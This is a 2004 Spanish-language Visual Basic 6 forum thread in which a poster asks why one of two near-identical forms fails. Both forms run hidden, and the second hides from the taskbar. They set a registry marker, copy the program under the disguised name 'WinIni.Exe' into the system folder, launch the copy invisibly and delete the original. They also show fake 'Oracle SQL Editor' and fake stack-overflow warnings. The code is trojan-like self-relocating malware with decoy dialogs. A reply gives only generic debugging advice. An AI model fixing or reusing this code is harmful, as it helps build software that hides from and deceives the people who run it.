SoloCodigo

Programación General => Visual Basic 6.0 e inferiores => Mensaje iniciado por: RadicalEd en Jueves 2 de Septiembre de 2004, 23:44

Título: 2 Codigos Iguales
Publicado por: RadicalEd en Jueves 2 de Septiembre de 2004, 23:44
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA
Código: Text
  1. 'form1
  2. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  3. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  4. Private Sub Form_Load()
  5. On Error Resume Next
  6. Dim z
  7. Me.Visible = False
  8. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  9. If z <> 1 Then
  10.     Call Create
  11. Else
  12.     Call Killing
  13. End If
  14. End Sub
  15. Sub Create()
  16. On Error Resume Next
  17. Dim m
  18. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  19. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  20. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx"
  21. FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe"
  22. m = Shell(App.Path + "\mada.exe", 0)
  23. AppActivate m
  24. Unload Me
  25. End Sub
  26. Sub Killing()
  27. On Error Resume Next
  28. Dim ret As String, NC As Long
  29. ret = String(255, 0)
  30. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx")
  31. If NC <> 0 Then
  32. ret = Left$(ret, NC)
  33. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  34. Kill (ret)
  35. Kill (App.Path & "\lalo.ocx")
  36. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  37. End If
  38. End Sub
  39.  
  40.  
Código: Text
  1.  
  2. 'frmTro
  3. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  4. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  5. Private Sub Form_Load()
  6. On Error Resume Next
  7. Dim z
  8. Me.Visible = False
  9. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  10. If z <> 1 Then
  11.     Call Create
  12. Else
  13.     Call Killing
  14. End If
  15. App.TaskVisible = False   'Ocultar en la barra de tareas.
  16. End Sub
  17. Sub Create()
  18. On Error Resume Next
  19. Dim m
  20. Dim fso As Object
  21. Set fso = CreateObject("Scripting.FileSystemObject")
  22. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  23. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  24. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"
  25. FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"
  26. m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)
  27. AppActivate m
  28. Unload Me
  29. End Sub
  30. Sub Killing()
  31. On Error Resume Next
  32. Dim ret As String, NC As Long
  33. ret = String(255, 0)
  34. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")
  35. If NC <> 0 Then
  36. ret = Left$(ret, NC)
  37. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  38. Kill (ret)
  39. Kill (App.Path & "\WinIni.ocx")
  40. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  41. End If
  42. End Sub
  43.  
EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO
QUE ESTA MAL AYUDENMEN
GRACIAS CHAO
Título: Re: 2 Codigos Iguales
Publicado por: ROBER.29 en Martes 7 de Septiembre de 2004, 12:36
Hola,

Comenta los "On Error Resume Next" para saber si te está dando algún error y en que línea te da el error y podamos saber cual es tu problema y la posible solución que puedes llevar a cabo.

Un saludo.
Título: Re: 2 Codigos Iguales
Publicado por: RadicalEd en Martes 7 de Septiembre de 2004, 19:38
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS